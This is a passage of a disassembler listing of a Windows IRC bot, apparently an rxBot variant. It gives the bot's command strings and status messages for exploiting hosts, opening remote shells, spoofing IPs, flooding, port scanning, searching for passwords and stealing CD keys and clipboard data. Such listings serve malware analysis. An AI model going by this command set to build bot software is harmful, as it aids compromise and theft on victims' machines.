DATA XREF: sub_401ACD+3F23o align 4 ; char aKill[] aKill db 'kill',0 ; DATA XREF: sub_401ACD+3F0Eo align 4 ; char aKp[] aKp db 'kp',0 ; DATA XREF: sub_401ACD+3EF9o align 4 ; char aKillproc[] aKillproc db 'killproc',0 ; DATA XREF: sub_401ACD+3EE4o align 4 ; char aDn[] aDn db 'dn',0 ; DATA XREF: sub_401ACD+3ECFo align 4 ; char aDns[] aDns db 'dns',0 ; DATA XREF: sub_401ACD+3EBAo ; char aSe[] aSe db 'se',0 ; DATA XREF: sub_401ACD+3EA5o align 10h ; char aO[] aO: ; DATA XREF: sub_401ACD+3E7Bo ; .data:0043866Co unicode 0, <o>,0 ; char aOpen[] aOpen db 'open',0 ; DATA XREF: sub_401ACD+3E66o ; sub_401ACD+590Co ... align 4 ; char aPr[] aPr db 'pr',0 ; DATA XREF: sub_401ACD+3E51o align 10h ; char aPrefix[] aPrefix db 'prefix',0 ; DATA XREF: sub_401ACD+3E3Co align 4 ; char aC_rn[] aC_rn db 'c_rn',0 ; DATA XREF: sub_401ACD+3E27o align 10h ; char aC_rndnick[] aC_rndnick db 'c_rndnick',0 ; DATA XREF: sub_401ACD+3E12o align 4 ; char aC_q[] aC_q db 'c_q',0 ; DATA XREF: sub_401ACD+3DFDo ; char aC_quit[] aC_quit db 'c_quit',0 ; DATA XREF: sub_401ACD+3DE8o align 4 ; char aK[] aK: ; DATA XREF: sub_401ACD+3DD3o ; .data:00438328o ... unicode 0, <k>,0 ; char aKillthread[] aKillthread db 'killthread',0 ; DATA XREF: sub_401ACD+3DBEo align 4 ; char aRaw[] aRaw db 'raw',0 ; DATA XREF: sub_401ACD+3D94o ; char aPt[] aPt db 'pt',0 ; DATA XREF: sub_401ACD+3D7Fo align 10h ; char aJ[] aJ: ; DATA XREF: sub_401ACD+3D55o ; .data:00438324o ... unicode 0, <j>,0 ; char aN[] aN: ; DATA XREF: sub_401ACD+3D2Bo ; .data:00438344o ... unicode 0, <n>,0 unk_42BA48 db 2Dh ; - ; DATA XREF: sub_401ACD+3CF7o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aDisconnectingC db '- disconnecting clones...',0 align 10h ; char aNickservRegist[] aNickservRegist db 'nickserv register %s %s',0 ; DATA XREF: sub_401ACD+3C93o ; char aRegister[] aRegister db 'register',0 ; DATA XREF: sub_401ACD+3C6Ao align 4 ; char aPrivmsgSS_0[] aPrivmsgSS_0 db 'PRIVMSG %s :%s',0 ; DATA XREF: sub_401ACD+3C11o align 4 ; char aMix[] aMix db 'mix',0 ; DATA XREF: sub_401ACD+3B44o ; char aPrivmsgS_3[] aPrivmsgS_3 db 'PRIVMSG %s :' ; DATA XREF: sub_401ACD+3AF0o ; sub_401ACD+3B27o dd 6E696601h, 1726567h, 0 ; char aPrivmsgS_2[] aPrivmsgS_2 db 'PRIVMSG %s :' ; DATA XREF: sub_401ACD+3AB9o dd 72657601h, 6E6F6973h, 1 ; char aPrivmsgS_1[] aPrivmsgS_1 db 'PRIVMSG %s :' ; DATA XREF: sub_401ACD+3A82o ; sub_401ACD+3B99o dd 6E697001h, 167h ; char aCtcp[] aCtcp db 'ctcp',0 ; DATA XREF: sub_401ACD+3A2Do align 4 ; char aNoticeSS_1[] aNoticeSS_1 db 'NOTICE %s :%s',0 ; DATA XREF: sub_401ACD+3998o ; sub_401ACD+39D4o ... align 4 ; char aNotice_0[] aNotice_0 db 'notice',0 ; DATA XREF: sub_401ACD+393Eo align 4 ; char aMsg[] aMsg db 'msg',0 ; DATA XREF: sub_401ACD+384Fo ; char aChgnick[] aChgnick db 'chgnick',0 ; DATA XREF: sub_401ACD+3808o ; char aNick_0[] aNick_0 db 'nick',0 ; DATA XREF: sub_401ACD+3706o ; sub_401ACD+3D16o align 10h ; char aPrivmsgS_0[] aPrivmsgS_0 db 'PRIVMSG %s :' ; DATA XREF: sub_401ACD+36E9o dd 43434401h, 4E455320h, 64252044h, 2064252Eh, 25206425h dd 64252064h, 1 ; char aDcc[] aDcc db 'dcc',0 ; DATA XREF: sub_401ACD+366Co ; char aJoinPart[] aJoinPart db 'join/part',0 ; DATA XREF: sub_401ACD+351Fo align 4 ; char aNickS_0[] aNickS_0 db 'NICK %s',0 ; DATA XREF: sub_401ACD+3502o ; sub_401ACD+3763o ... ; char aSI[] aSI db '%s%i',0 ; DATA XREF: sub_401ACD+34E7o ; sub_40ACB6+4Fo ... align 4 ; char aPnick[] aPnick db 'pnick',0 ; DATA XREF: sub_401ACD+34A6o align 10h ; char aPartSS[] aPartSS db 'part %s %s',0 ; DATA XREF: sub_401ACD+3489o ; sub_401ACD+3579o ... align 4 ; char aPartflood[] aPartflood db 'partflood',0 ; DATA XREF: sub_401ACD+3462o align 4 ; char aPartS[] aPartS db 'part %s',0 ; DATA XREF: sub_401ACD+3445o ; char aPart_0[] aPart_0 db 'part',0 ; DATA XREF: sub_401ACD+3423o ; sub_401ACD+3D6Ao align 4 ; char aJoinS[] aJoinS db 'join %s',0 ; DATA XREF: sub_401ACD+3406o ; sub_401ACD+354Do ... ; char aJoin[] aJoin db 'join',0 ; DATA XREF: sub_401ACD+33E4o ; sub_401ACD+3D40o align 4 ; char aModeSS[] aModeSS db 'mode %s %s',0 ; DATA XREF: sub_401ACD+33C7o align 4 ; char aMode[] aMode db 'mode',0 ; DATA XREF: sub_401ACD+3378o ; sub_401ACD+48F2o align 4 ; char aNoticeSS_0[] aNoticeSS_0 db 'notice %s :%s',0 ; DATA XREF: sub_401ACD+335Bo align 4 ; char aNt[] aNt db 'nt',0 ; DATA XREF: sub_401ACD+330Co align 10h ; char aPrivmsgS[] aPrivmsgS db 'privmsg %s :' ; DATA XREF: sub_401ACD+32EFo dd 1732501h, 0 ; char aCt[] aCt db 'ct',0 ; DATA XREF: sub_401ACD+32A0o align 4 ; char aPrivmsgSS[] aPrivmsgSS db 'privmsg %s :%s',0 ; DATA XREF: sub_401ACD+3283o ; sub_401ACD+38A9o ... align 4 ; char a_[] a_: ; DATA XREF: sub_401ACD+3254o ; sub_401ACD+32C0o ... unicode 0, <_>,0 ; char aPm[] aPm db 'pm',0 ; DATA XREF: sub_401ACD+3234o ; sub_401ACD+487Fo align 10h ; char asc_42BC00[] asc_42BC00 db '-' ; DATA XREF: sub_401ACD+3202o db 3, 34h, 2 db 69h ; i db 72h, 63h, 66h db 75h ; u db 63h, 6Bh, 2 db 3 aSClonesLoadedT db '- %s clones loaded to %s:%s',0 align 4 ; char aLoad[] aLoad db 'load',0 ; DATA XREF: sub_401ACD+31ABo align 4 ; char aFlood[] aFlood db 'flood',0 ; DATA XREF: sub_401ACD+3182o align 4 ; char aRinms[] aRinms db 'rinms',0 ; DATA XREF: sub_401ACD+316Bo align 4 ; char aReconnect_in_m[] aReconnect_in_m db 'reconnect.in.ms',0 ; DATA XREF: sub_401ACD+3156o ; char aRin[] aRin db 'rin',0 ; DATA XREF: sub_401ACD+3141o ; char aReconnect_in[] aReconnect_in db 'reconnect.in',0 ; DATA XREF: sub_401ACD+312Co align 4 unk_42BC68 db 2Dh ; - ; DATA XREF: sub_401ACD+3121o db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aFailedToStartE db '- Failed to start exploiter thread, error: <%d>.',0 align 4 ; char asc_42BCA8[] asc_42BCA8 db '-' ; DATA XREF: sub_401ACD+30AFo db 3, 34h, 2 db 65h ; e db 78h, 70h, 6Ch db 6Fh ; o db 69h, 74h, 2 db 3 aAttemptingToCo db '- attempting to compromise %s...',0 align 4 ; char aExploit[] aExploit db 'exploit',0 ; DATA XREF: sub_401ACD+3029o ; char asc_42BCE0[] asc_42BCE0 db '-' ; DATA XREF: sub_401ACD+300Fo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofIpSetToS_ db ' Spoof IP set to ',27h,'%s',27h,'.',0 align 4 unk_42BD0C db 2Dh ; - ; DATA XREF: sub_401ACD+2FF1o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSIsAnInvalidIp db ' ',27h,'%s',27h,' is an invalid IP address.',0 ; char aD_D_D_[] aD_D_D_ db '%d.%d.%d.*',0 ; DATA XREF: sub_401ACD+2FCDo align 4 unk_42BD4C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_404A41o db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingCurren db ' Spoofing currently set to ',27h,'%s',27h,'.',0 align 4 ; char aGet_0[] aGet_0 db 'get',0 ; DATA XREF: sub_401ACD:loc_404A23o ; sub_401ACD+3F62o unk_42BD88 db 2Dh ; - ; DATA XREF: sub_401ACD+2EDBo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aInvalidLoginSl db 'Invalid login slot number: %d.',0 align 4 unk_42BDB4 db 2Dh ; - ; DATA XREF: sub_401ACD+2ED3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNoUserLoggedIn db 'No user logged in at slot: %d.',0 align 10h dword_42BDE0 dd 234032Dh, 6E69616Dh, 202D0302h, 7325h ; DATA XREF: sub_401ACD+2E7Eo unk_42BDF0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40493Co db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aThisModOfRxbot db 'This mod of rxBot is dedicated to Pia Gerhardt (nameless@efnet/ir' db 'cnet), the Beautiful Operatress from Heaven (or Bitch Operatress ' db 'from Hell?) who I love so much.',0 align 10h dword_42BEA0 dd 234032Dh, 75636573h, 3026572h ; DATA XREF: sub_401ACD+2E4Co aFailedToSta_19 db '- Failed to start secure thread, error: <%d>.',0 align 4 ; char asc_42BEDC[] asc_42BEDC db '-' ; DATA XREF: sub_401ACD+2DD2o db 3, 34h, 2 dd 75636573h, 3026572h, 7325202Dh, 73797320h, 2E6D6574h dd 0 aUnsecuring db 'Unsecuring',0 ; DATA XREF: sub_401ACD+2DCCo align 4 aSecuring db 'Securing',0 ; DATA XREF: sub_401ACD+2DC5o align 10h unk_42BF10 db 2Dh ; - ; DATA XREF: sub_401ACD+2D4Eo db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFailedToSta_20 db ' Failed to start server thread, error: <%d>.',0 align 10h ; char asc_42BF50[] asc_42BF50 db '-' ; DATA XREF: sub_401ACD+2CCAo db 3, 34h, 2 db 62h ; b db 69h, 6Eh, 64h db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aServerStartedO db ' Server started on: %s:%d.',0 align 4 dword_42BF7C dd 234032Dh, 6B636F73h, 3023473h ; DATA XREF: sub_401ACD+2C48o aFailedToSta_21 db '- Failed to start server thread, error: <%d>.',0 align 4 ; char asc_42BFB8[] asc_42BFB8 db '-' ; DATA XREF: sub_401ACD+2BD9o ; sub_4111CE+A8o db 3, 34h, 2 dd 6B636F73h, 3023473h aServerStarte_0 db '- Server started on: %s:%d.',0 dword_42BFE0 dd 234032Dh, 646E6966h, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD+2B26o aFindFile db 'Find file',0 ; DATA XREF: sub_401ACD+2B21o align 4 dword_42BFFC dd 234032Dh, 636F7270h, 2D030273h, 0 ; DATA XREF: sub_401ACD+2B0Eo aProcessList db 'Process list',0 ; DATA XREF: sub_401ACD+2B09o align 4 dword_42C01C dd 234032Dh, 6E69616Dh, 202D0302h, 6F636552h, 63656E6Eh ; DATA XREF: sub_401ACD+2A96o dd 676E6974h, 2Eh ; char aQuitReconnecti[] aQuitReconnecti db 'QUIT :reconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404556o ; sub_401ACD:loc_409779o ... align 10h dword_42C050 dd 234032Dh, 6E69616Dh, 202D0302h, 63736944h, 656E6E6Fh ; DATA XREF: sub_401ACD+2A74o dd 6E697463h, 2E67h ; char aQuitDisconnect[] aQuitDisconnect db 'QUIT :disconnecting',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_404534o align 4 ; char aQuitLater[] aQuitLater db 'QUIT :later',0Dh,0Ah,0 ; DATA XREF: sub_401ACD:loc_40451Eo ; sub_401ACD+7A7Fo align 4 ; char aQuitS[] aQuitS db 'QUIT :%s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+2A3Fo align 10h unk_42C0A0 db 2Dh ; - ; DATA XREF: sub_401ACD+2A18o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aStatusReady_Bo db 'Status: Ready. Bot Uptime: %s.',0 align 4 ; char asc_42C0CC[] asc_42C0CC db '-' ; DATA XREF: sub_401ACD+29D9o db 3, 34h, 2 dd 6E69616Dh, 202D0302h, 20746F42h, 203A4449h, 2E7325h unk_42C0E4 db 2Dh ; - ; DATA XREF: sub_401ACD+29CAo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToSta_22 db '- Failed to start list thread, error: <%d>.',0 align 10h ; char asc_42C120[] asc_42C120 db '-' ; DATA XREF: sub_401ACD+295Bo db 3, 34h, 2 dd 65726874h, 2736461h, 4C202D03h, 20747369h, 65726874h dd 2E736461h, 0 ; char aSub[] aSub db 'sub',0 ; DATA XREF: sub_401ACD+2935o dword_42C144 dd 234032Dh, 6E69616Dh, 202D0302h, 61696C41h, 696C2073h ; DATA XREF: sub_401ACD+28E3o dd 2E7473h unk_42C15C db 2Dh ; - ; DATA XREF: sub_401ACD+28C8o db 3, 34h, 2 db 6Ch ; l db 6Fh, 67h, 2 db 3 aFailedToSta_23 db '- Failed to start listing thread, error: <%d>.',0 ; char asc_42C194[] asc_42C194 db '-' ; DATA XREF: sub_401ACD+2859o db 3, 34h, 2 dd 2676F6Ch, 4C202D03h, 69747369h, 6C20676Eh, 2E676Fh dword_42C1AC dd 234032Dh, 6E69616Dh, 202D0302h, 7774654Eh, 206B726Fh ; DATA XREF: sub_401ACD+27B4o dd 6F666E49h, 2Eh dword_42C1C8 dd 234032Dh, 6E69616Dh, 202D0302h, 74737953h, 49206D65h ; DATA XREF: sub_401ACD+2785o dd 2E6F666Eh, 0 dword_42C1E4 dd 234032Dh, 6E69616Dh, 202D0302h, 6F6D6552h, 676E6976h ; DATA XREF: sub_401ACD+2730o dd 746F4220h, 2Eh ; char asc_42C200[] asc_42C200 db '-' ; DATA XREF: sub_401ACD+2714o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToSta_24 db ' Failed to start listing thread, error: <%d>.',0 align 4 ; char asc_42C23C[] asc_42C23C db '-' ; DATA XREF: sub_401ACD+269Fo db 3, 34h, 2 dd 636F7270h, 2D030273h, 6F725020h, 73656363h, 696C2073h dd 2E7473h ; char aFull[] aFull db 'full',0 ; DATA XREF: sub_401ACD+267Fo align 10h unk_42C260 db 2Dh ; - ; DATA XREF: sub_401ACD+261Do db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aAlreadyRunni_3 db ' Already running.',0 align 10h dword_42C280 dd 234032Dh, 656B6463h, 3027379h ; DATA XREF: sub_401ACD+25FAo aSearchComplete db '- Search completed.',0 ; char asc_42C2A0[] asc_42C2A0 db '-' ; DATA XREF: sub_401ACD+25AEo db 3, 34h, 2 dd 6E69616Dh, 202D0302h, 69747055h, 203A656Dh, 2E7325h unk_42C2B8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403FEBo db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellRea db '- Remote shell ready.',0 align 4 unk_42C2D8 db 2Dh ; - ; DATA XREF: sub_401ACD+2514o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aCouldnTOpenRem db '- Couldn',27h,'t open remote shell.',0 align 10h unk_42C300 db 2Dh ; - ; DATA XREF: sub_401ACD+24F5o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aRemoteShellAlr db '- Remote shell already running.',0 align 4 dword_42C32C dd 234032Dh, 6E69616Dh, 202D0302h, 20746547h, 70696C43h ; DATA XREF: sub_401ACD+24DFo dd 72616F62h, 2E64h dword_42C348 dd 234032Dh, 70696C63h, 72616F62h, 61642064h, 3026174h ; DATA XREF: sub_401ACD+24B1o dd 2Dh unk_42C360 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F6Eo db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushA db 'Failed to flush ARP cache.',0 align 4 unk_42C38C db 2Dh ; - ; DATA XREF: sub_401ACD+249Ao db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aArpCacheFlushe db 'ARP cache flushed.',0 align 10h ; char asc_42C3B0[] asc_42C3B0 db '-' ; DATA XREF: sub_401ACD:loc_403F43o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToLoadDn db 'Failed to load dnsapi.dll.',0 align 4 unk_42C3DC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403F3Co db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aFailedToFlushD db 'Failed to flush DNS cache.',0 align 4 unk_42C408 db 2Dh ; - ; DATA XREF: sub_401ACD+2468o db 3, 34h, 2 db 66h ; f db 6Ch, 75h, 73h db 68h ; h db 64h, 6Eh, 73h db 2 db 3, 2Dh, 20h aDnsCacheFlushe db 'DNS cache flushed.',0 align 4 unk_42C42C db 2Dh ; - ; DATA XREF: sub_401ACD+2415o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aFailedToSta_25 db '- Failed to start server thread, error: <%d>.',0 align 4 ; char asc_42C468[] asc_42C468 db '-' ; DATA XREF: sub_401ACD+23A6o db 3, 34h, 2 db 72h ; r db 6Ch, 6Fh, 67h db 69h ; i db 6Eh, 64h, 2 db 3 aServerListenin db '- Server listening on IP: %s:%d, Username: %s.',0 ; char asc_42C4A4[] asc_42C4A4 db '-' ; DATA XREF: sub_401ACD+22C0o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_26 db ' Failed to start server thread, error: <%d>.',0 align 10h ; char asc_42C4E0[] asc_42C4E0 db '-' ; DATA XREF: sub_401ACD+2255o ; sub_40BACE+449o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerListen_0 db ' Server listening on IP: %s:%d, Directory: %s\.',0 unk_42C51C db 2Dh ; - ; DATA XREF: sub_401ACD+214Eo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_27 db ' Failed to start server thread, error: <%d>.',0 align 4 ; char asc_42C558[] asc_42C558 db '-' ; DATA XREF: sub_401ACD+20DFo ; sub_40BACE+DAo db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aServerStarte_1 db ' Server started on Port: %d, File: %s.',0 align 4 unk_42C58C db 2Dh ; - ; DATA XREF: sub_401ACD+202Ao db 3, 34h, 2 db 74h ; t db 66h, 74h, 70h db 64h ; d db 2, 3, 2Dh aAlreadyRunni_4 db ' Already running.',0 align 4 unk_42C5AC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_403AE1o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_28 db '- Failed to start scan, port is invalid.',0 align 4 ; char asc_42C5E4[] asc_42C5E4 db '-' ; DATA XREF: sub_401ACD+1FC4o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aFailedToSta_29 db '- Failed to start scan thread, error: <%d>.',0 align 10h ; char asc_42C620[] asc_42C620 db '-' ; DATA XREF: sub_401ACD+1F53o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aSPortScanSta_0 db '- %s Port Scan started on %s:%d with a delay of %d seconds for %d' db ' minutes using %d threads.',0 align 4 aSequential db 'Sequential',0 ; DATA XREF: sub_401ACD+1F28o ; sub_401ACD+5BEFo align 4 aRandom db 'Random',0 ; DATA XREF: sub_401ACD+1F21o ; sub_401ACD+5BE8o align 10h ; char asc_42C6A0[] asc_42C6A0 db '-' ; DATA XREF: sub_401ACD+1D6Eo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 61h ; a db 2 dup(6Ch), 2 db 3 aAlreadyDScan_0 db '- Already %d scanning threads. Too many specified.',0 unk_42C6E0 db 2Dh ; - ; DATA XREF: sub_401ACD+1D10o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToSta_30 db 'Failed to start search thread, error: <%d>.',0 ; char asc_42C71C[] asc_42C71C db '-' ; DATA XREF: sub_401ACD+1C96o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aSearchingForPa db 'Searching for password.',0 ; char aFp[] aFp db 'fp',0 ; DATA XREF: sub_401ACD+1C4Do align 4 ; char aFindpass[] aFindpass db 'findpass',0 ; DATA XREF: sub_401ACD+1C3Co align 4 ; char aNoticeSPhoning[] aNoticeSPhoning db 'NOTICE %s :PHONING HOME: hi ;).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+1C29o align 4 ; char aPhonehome[] aPhonehome db 'phonehome',0 ; DATA XREF: sub_401ACD+1C12o align 4 ; char aAsc[] aAsc db 'asc',0 ; DATA XREF: sub_401ACD+1BE8o ; char asc_42C788[] asc_42C788 db '-' ; DATA XREF: sub_401ACD+1B98o db 3, 34h, 2 dd 6E69616Dh, 202D0302h, 73617243h, 676E6968h, 746F6220h dd 2Eh ; char aCrash[] aCrash db 'crash',0 ; DATA XREF: sub_401ACD+1B82o ; sub_401ACD+1BD2o align 4 ; char aTftp[] aTftp db 'tftp',0 ; DATA XREF: sub_401ACD+1B6Do align 4 ; char aTftpserver[] aTftpserver db 'tftpserver',0 ; DATA XREF: sub_401ACD+1B58o align 10h ; char aHttp[] aHttp db 'http',0 ; DATA XREF: sub_401ACD+1B43o align 4 ; char aHttpserver[] aHttpserver db 'httpserver',0 ; DATA XREF: sub_401ACD+1B2Eo align 4 ; char aRlogin[] aRlogin db 'rlogin',0 ; DATA XREF: sub_401ACD+1B19o align 4 ; char aRloginserver[] aRloginserver db 'rloginserver',0 ; DATA XREF: sub_401ACD+1B04o align 4 ; char aCip[] aCip db 'cip',0 ; DATA XREF: sub_401ACD+1AEFo ; char aCurrentip[] aCurrentip db 'currentip',0 ; DATA XREF: sub_401ACD+1ADAo align 4 ; char aFdns[] aFdns db 'fdns',0 ; DATA XREF: sub_401ACD+1AC5o align 4 ; char aFlushdns[] aFlushdns db 'flushdns',0 ; DATA XREF: sub_401ACD+1AB0o align 10h ; char aFarp[] aFarp db 'farp',0 ; DATA XREF: sub_401ACD+1A9Bo align 4 ; char aFlusharp[] aFlusharp db 'flusharp',0 ; DATA XREF: sub_401ACD+1A86o align 4 ; char aGc[] aGc db 'gc',0 ; DATA XREF: sub_401ACD+1A71o align 4 ; char aGetclip[] aGetclip db 'getclip',0 ; DATA XREF: sub_401ACD+1A5Co ; char asc_42C830[] asc_42C830 db '-' ; DATA XREF: sub_401ACD+1A1Eo db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 73h db 70h ; p db 2 dup(6Fh), 66h db 29h ; ) db 2, 3, 2Dh aSpoofingDisabl db ' Spoofing disabled.',0 ; char Str2[] Str2 db 'off',0 ; DATA XREF: sub_401ACD+1A03o ; sub_401ACD+3CB0o ... ; char aSpoof[] aSpoof db 'spoof',0 ; DATA XREF: sub_401ACD+19ECo align 4 unk_42C864 db 2Dh ; - ; DATA XREF: sub_401ACD+19CEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aLoginListCompl db 'Login list complete.',0 align 4 ; char aD_S[] aD_S db '%d. %s',0 ; DATA XREF: sub_401ACD+1996o ; sub_40B1B4+46o align 10h aEmpty db '<Empty>',0 ; DATA XREF: sub_401ACD:loc_403454o dword_42C898 dd 234032Dh, 69676F6Ch, 696C206Eh, 3027473h, 2Dh ; DATA XREF: sub_401ACD+195Co ; char aWho[] aWho db 'who',0 ; DATA XREF: sub_401ACD+193Fo dword_42C8B0 dd 234032Dh, 2646D63h, 2D03h ; DATA XREF: sub_401ACD+1934o aRemoteShell db 'Remote shell',0 ; DATA XREF: sub_401ACD+192Fo align 4 ; char aCmdstop[] aCmdstop db 'cmdstop',0 ; DATA XREF: sub_401ACD+1916o ; char aOcmd[] aOcmd db 'ocmd',0 ; DATA XREF: sub_401ACD+1901o align 4 ; char aOpencmd[] aOpencmd db 'opencmd',0 ; DATA XREF: sub_401ACD+18ECo ; char aDll[] aDll db 'dll',0 ; DATA XREF: sub_401ACD+18D7o ; char aTestdlls[] aTestdlls db 'testdlls',0 ; DATA XREF: sub_401ACD+18C2o align 4 ; char aDrv[] aDrv db 'drv',0 ; DATA XREF: sub_401ACD+18ADo ; char aDriveinfo[] aDriveinfo db 'driveinfo',0 ; DATA XREF: sub_401ACD+1898o align 4 ; char aUp[] aUp db 'up',0 ; DATA XREF: sub_401ACD+1883o align 4 ; char aUptime[] aUptime db 'uptime',0 ; DATA XREF: sub_401ACD+186Eo align 10h ; char aKey[] aKey db 'key',0 ; DATA XREF: sub_401ACD+1859o ; char aGetcdkeys[] aGetcdkeys db 'getcdkeys',0 ; DATA XREF: sub_401ACD+1844o align 10h ; char aPs[] aPs db 'ps',0 ; DATA XREF: sub_401ACD+182Fo align 4 ; char aProcs[] aProcs db 'procs',0 ; DATA XREF: sub_401ACD+181Ao align 4 ; char aLsp100[] aLsp100 db 'lsp100',0 ; DATA XREF: sub_401ACD+17F0o ; sub_401ACD+1805o align 4 ; char aSi[] aSi db 'si',0 ; DATA XREF: sub_401ACD+17DBo align 4 ; char aSysinfo[] aSysinfo db 'sysinfo',0 ; DATA XREF: sub_401ACD+17C6o ; char aNi[] aNi db 'ni',0 ; DATA XREF: sub_401ACD+17B1o align 4 ; char aNetinfo[] aNetinfo db 'netinfo',0 ; DATA XREF: sub_401ACD+179Co ; char aClg[] aClg db 'clg',0 ; DATA XREF: sub_401ACD+1787o ; char aClearlog[] aClearlog db 'clearlog',0 ; DATA XREF: sub_401ACD+1772o align 4 ; char aLg[] aLg db 'lg',0 ; DATA XREF: sub_401ACD+175Do align 10h ; char aLog[] aLog db 'log',0 ; DATA XREF: sub_401ACD+1748o ; char aAl[] aAl db 'al',0 ; DATA XREF: sub_401ACD+1733o align 4 ; char aAliases[] aAliases db 'aliases',0 ; DATA XREF: sub_401ACD+171Eo ; char aT[] aT: ; DATA XREF: sub_401ACD+1709o ; .data:004382F8o ... unicode 0, <t>,0 ; char aThreads[] aThreads db 'threads',0 ; DATA XREF: sub_401ACD+16F4o unk_42C97C db 2Dh ; - ; DATA XREF: sub_401ACD+16C0o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedToReboot db 'Failed to reboot system.',0 align 4 ; char asc_42C9A4[] asc_42C9A4 db '-' ; DATA XREF: sub_401ACD+16B9o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRebootingSyste db 'Rebooting system.',0 align 4 ; char aReboot[] aReboot db 'reboot',0 ; DATA XREF: sub_401ACD+16A2o align 4 ; char aI[] aI: ; DATA XREF: sub_401ACD+168Do ; .data:00438304o ... unicode 0, <i>,0 ; char aId[] aId db 'id',0 ; DATA XREF: sub_401ACD+1678o align 4 ; char aS_5[] aS_5: ; DATA XREF: sub_401ACD+1663o ; .data:00438310o ... unicode 0, <s>,0 ; char aStatus[] aStatus db 'status',0 ; DATA XREF: sub_401ACD+164Eo align 10h ; char aQ[] aQ: ; DATA XREF: sub_401ACD+1639o ; .data:off_4382E8o ... unicode 0, <q>,0 ; char aQuit_0[] aQuit_0 db 'quit',0 ; DATA XREF: sub_401ACD+1624o align 4 ; char aDc[] aDc db 'dc',0 ; DATA XREF: sub_401ACD+160Fo align 10h ; char aDisconnect[] aDisconnect db 'disconnect',0 ; DATA XREF: sub_401ACD+15FAo align 4 ; char aR[] aR: ; DATA XREF: sub_401ACD+15E5o ; sub_401ACD+3DA9o ... unicode 0, <r>,0 ; char aReconnect[] aReconnect db 'reconnect',0 ; DATA XREF: sub_401ACD+15D0o align 4 ; char aExplist[] aExplist db 'explist',0 ; DATA XREF: sub_401ACD+15BBo ; char aExploitlist[] aExploitlist db 'exploitlist',0 ; DATA XREF: 